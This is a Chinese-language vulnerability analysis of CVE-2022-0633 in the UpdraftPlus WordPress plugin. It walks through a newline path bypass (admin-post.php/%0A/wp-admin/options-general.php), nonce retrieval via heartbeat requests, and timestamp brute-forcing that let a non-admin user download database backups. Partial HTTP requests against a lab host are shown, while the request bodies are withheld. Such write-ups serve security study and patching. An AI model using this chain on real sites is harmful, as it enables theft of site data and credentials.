UpdraftPlus 漏洞分析(CVE-2022-0633)- 比较复杂的备份下载trick
UpdraftPlus 漏洞分析(CVE-2022-0633)
0x00 漏洞相关信息
UpdraftPlus 影响版本 < 1.22.3
Wordpress 版本 < 5.5.1 (目前可以配合wordpress复现的版本)
Wordpress可登陆的非管理员账号
根据官方给的漏洞公告以及第三方网站给出的信息综合分析,大致了解到该漏洞为非管理员用户,通过某些未授权的方式,直接下载UpdraftPlus插件已备份好的网站数据如数据库备份,等等。
0x01 漏洞代码分析
在1.22.1根1.22.3的代码(wordpress-5.5\wordpress\wp-content\plugins\updraftplus\admin.php)对比发现有两处增加了权限校验的方法UpdraftPlus_Options::user_can_manage()
一处为maybe_download_backup_from_email()
另外一处为process_status_in_heartbeat()
在options.php中,user_can_manage()方法的功能为判断当前用户是否具有管理UpdraftPlus的权限。
而在maybe_download_backup_from_email()方法中,可以看到其调用了do_updraft_download_backup()方法下载相应的备份文件
这条链路其实很清晰,只需要传入对应的参数,让非管理员用户数据能走通到this->do_updraft_download_backup()调用即可触发下载备份数据。
0x02 各种Bypass
回到maybe_download_backup_from_email,调用do_action为其注册一个hook,但其默认为admin_init,即该插件类在每次初始化阶段都会调用该hook对应的function,即maybe_download_backup_from_email
进入if逻辑里面的流程需要好几个条件
public function maybe_download_backup_from_email() {
global $pagenow;
if ((!defined('DOING_AJAX') || !DOING_AJAX) && UpdraftPlus_Options::admin_page() === $pagenow && isset($_REQUEST['page']) && 'updraftplus' === $_REQUEST['page'] && isset($_REQUEST['action']) && 'updraft_download_backup' === $_REQUEST['action']) {
$findexes = empty($_REQUEST['findex']) ? array(0) : $_REQUEST['findex'];
$timestamp = empty($_REQUEST['timestamp']) ? '' : $_REQUEST['timestamp'];
$nonce = empty($_REQUEST['nonce']) ? '' : $_REQUEST['nonce'];
$type = empty($_REQUEST['type']) ? '' : $_REQUEST['type'];
if (empty($timestamp) || empty($nonce) || empty($type)) wp_die(__('The download link is broken, you may have clicked the link from untrusted source', 'updraftplus'), '', array('back_link' => true));
$backup_history = UpdraftPlus_Backup_History::get_history();
//var_dump($backup_history);
if (!isset($backup_history[$timestamp]['nonce']) || $backup_history[$timestamp]['nonce'] !== $nonce) wp_die(__("The download link is broken or the backup file is no longer available", 'updraftplus'), '', array('back_link' => true));
$this->do_updraft_download_backup($findexes, $type, $timestamp, 2, false, '');
exit; // we don't need anything else but an exit
}
}
首先是UpdraftPlus_Options::admin_page() === $pagenow这两者的值必须相等才能进入if条件内的流程。
UpdraftPlus_Options::admin_page()返回的值是options-general.php,而$pagenow返回的是当前调用值(正常插件调用返回的是admin-ajax.php)。而$pagenow在vars.php中被赋值,如下图,$_SERVER['PHP_SELF']中通过preg_match函数对正则进行匹配,$_SERVER['PHP_SELF']的值为uri。
所以如果通过admin-ajax.php这个入口进行访问,则pagenow的最终值为admin-ajax.php,但非管理员用户在默认情况下访问不了options-general.php。因此需要借助其他方式访问options-general.php。
1、preg_match bypass
在wordpress-5.5\wordpress\wp-includes\vars.php\vars.php中
正则匹配的代码
preg_match( '#/wp-admin/?(.*?)$#i', $_SERVER['PHP_SELF'], $self_matches );
该正则使用了点号(.)进行通配符进行匹配,而在php的文档中有着明确的规定说明,点号可以匹配除了换行以外的任何字符
而如果传入%0A(换行符的url编码),经过服务器解码之后,最终php_self拿到的最终值为换行符号。
因此可以通过构造如下进行bypass
/wordpress-5.5/wordpress/wp-admin/admin-post.php/%0A/wp-admin/options-general.php
经过转码后则变成
/wordpress-5.5/wordpress/wp-admin/admin-post.php/
/wp-admin/options-general.php
在经过preg_match函数时变成
得到$matches是一个数组,其第二个元素为options-general.php,该值最终赋值给全局变量$pagenow。
2、获取 nonce
bypass pagenow之后,根据业务流程需要对以下几个参数进行赋值
page=updraftplus&action=updraft_download_backup&findex=0×tamp=1645611312&type=db&nonce=61afe38f2a32
timestamp和nonce都无法确定,根据在正常管理用户下载备份的流程中,发现需要发送hearbeat心跳包,再进行下载心跳包大致如下
根据其中的hearbeart的action,和查阅资料发现,该心跳包会最终走向插件类的heartbeat_received方法
而在admin.php中,hearbeat绑定的是process_status_in_heartbeat
心跳包会在wordpress-5.5\wordpress\wp-admin\includes\ajax-actions.php的wp_ajax_heartbeat中进行校验,若_nonce不通过则重新刷新_nonce并返回
再次请求该数据包,并带上上一次返回的nonce即可
则其通过process_status_in_heartbeat函数获取相应的信息并返回。
3、brute timestamp
timestamp参数需要爆破和猜测,也正是因为此因,该漏洞利用难度较大,因为需要找出备份所在的时间戳,因此需要进行爆破。若输入正确的时间戳,则返回如下
POST /wordpress-5.5/wordpress/wp-admin/admin-ajax.php HTTP/1.1
Host: 192.168.52.17:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.7113.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: wordpress_2989dc90ee3feed02b2a6811646e0e6f=test%7C1645783046%7CRX8FZtiHO6xHe6NhKQcLr6gcqXZkQni9Yv20PvMVDE6%7C3e5b8127a49f9764385a1d457fe482b59c65e8c59b0c3d100a4aaff05c13c364; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_2989dc90ee3feed02b2a6811646e0e6f=test%7C1645783046%7CRX8FZtiHO6xHe6NhKQcLr6gcqXZkQni9Yv20PvMVDE6%7C8cb086ea6c527a87262b9c5d2ddcf81bb7cf729c862875b2dadda7b163ce0f2b; wp-settings-time-2=1645610248; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_564556ccf859d230b99a6ec44ba73387=test%7C1645682592%7Cfxp9Z0L0qJCizHuL2CtkZj0Hq8MGNMfKtmPPykpC9Q5%7Ce1ac62eb6e3c1c119a6d6713e9749bdeeb7a798080934f2003d9970f922b5e6d; wp-settings-time-2=1645524206
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 157
*poc不公布*
可以看到当前拿到了相应的备份包的名字
backup_2022-02-23-1815_wpppp_61afe38f2a32-db.gz
4、 最后的利用
基于前面几步,拿到了所有可以利用的参数,只需构造最后一步即可下载备份。
timestamp参数为上一个请求爆破出来的,nonce参数为上一个请求返回的备份包名中的id
POST /wordpress-5.5/wordpress/wp-admin/admin-post.php/%0A/wp-admin/options-general.php HTTP/1.1
Host: 192.168.52.17:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.7113.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: wordpress_2989dc90ee3feed02b2a6811646e0e6f=test%7C1645783046%7CRX8FZtiHO6xHe6NhKQcLr6gcqXZkQni9Yv20PvMVDE6%7C3e5b8127a49f9764385a1d457fe482b59c65e8c59b0c3d100a4aaff05c13c364; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_2989dc90ee3feed02b2a6811646e0e6f=test%7C1645783046%7CRX8FZtiHO6xHe6NhKQcLr6gcqXZkQni9Yv20PvMVDE6%7C8cb086ea6c527a87262b9c5d2ddcf81bb7cf729c862875b2dadda7b163ce0f2b; wp-settings-time-2=1645610248; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_564556ccf859d230b99a6ec44ba73387=test%7C1645682592%7Cfxp9Z0L0qJCizHuL2CtkZj0Hq8MGNMfKtmPPykpC9Q5%7Ce1ac62eb6e3c1c119a6d6713e9749bdeeb7a798080934f2003d9970f922b5e6d; wp-settings-time-2=1645524206
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 104
*poc不公布*
0x03 总结
该漏洞的利用难度相对较大,但其过程却非常有取,大概总结如下。
0x04 参考
https://remoterescue.net/vulnerability-in-updraftplus-allowed-subscribers-to-download-sensitive-backups/
https://wordpress.org/plugins/updraftplus/
https://securityboulevard.com/2020/10/reflected-xss-in-wordpress-v5-5-1-and-lower/
https://www.functions-online.com/preg_match.html
https://www.cnblogs.com/20175211lyz/p/12198258.html
https://nvd.nist.gov/vuln/detail/CVE-2022-0633#vulnCurrentDescriptionTitle
https://www.kancloud.cn/jabber/wordpress/296897
https://www.cnblogs.com/20175211lyz/p/12198258.html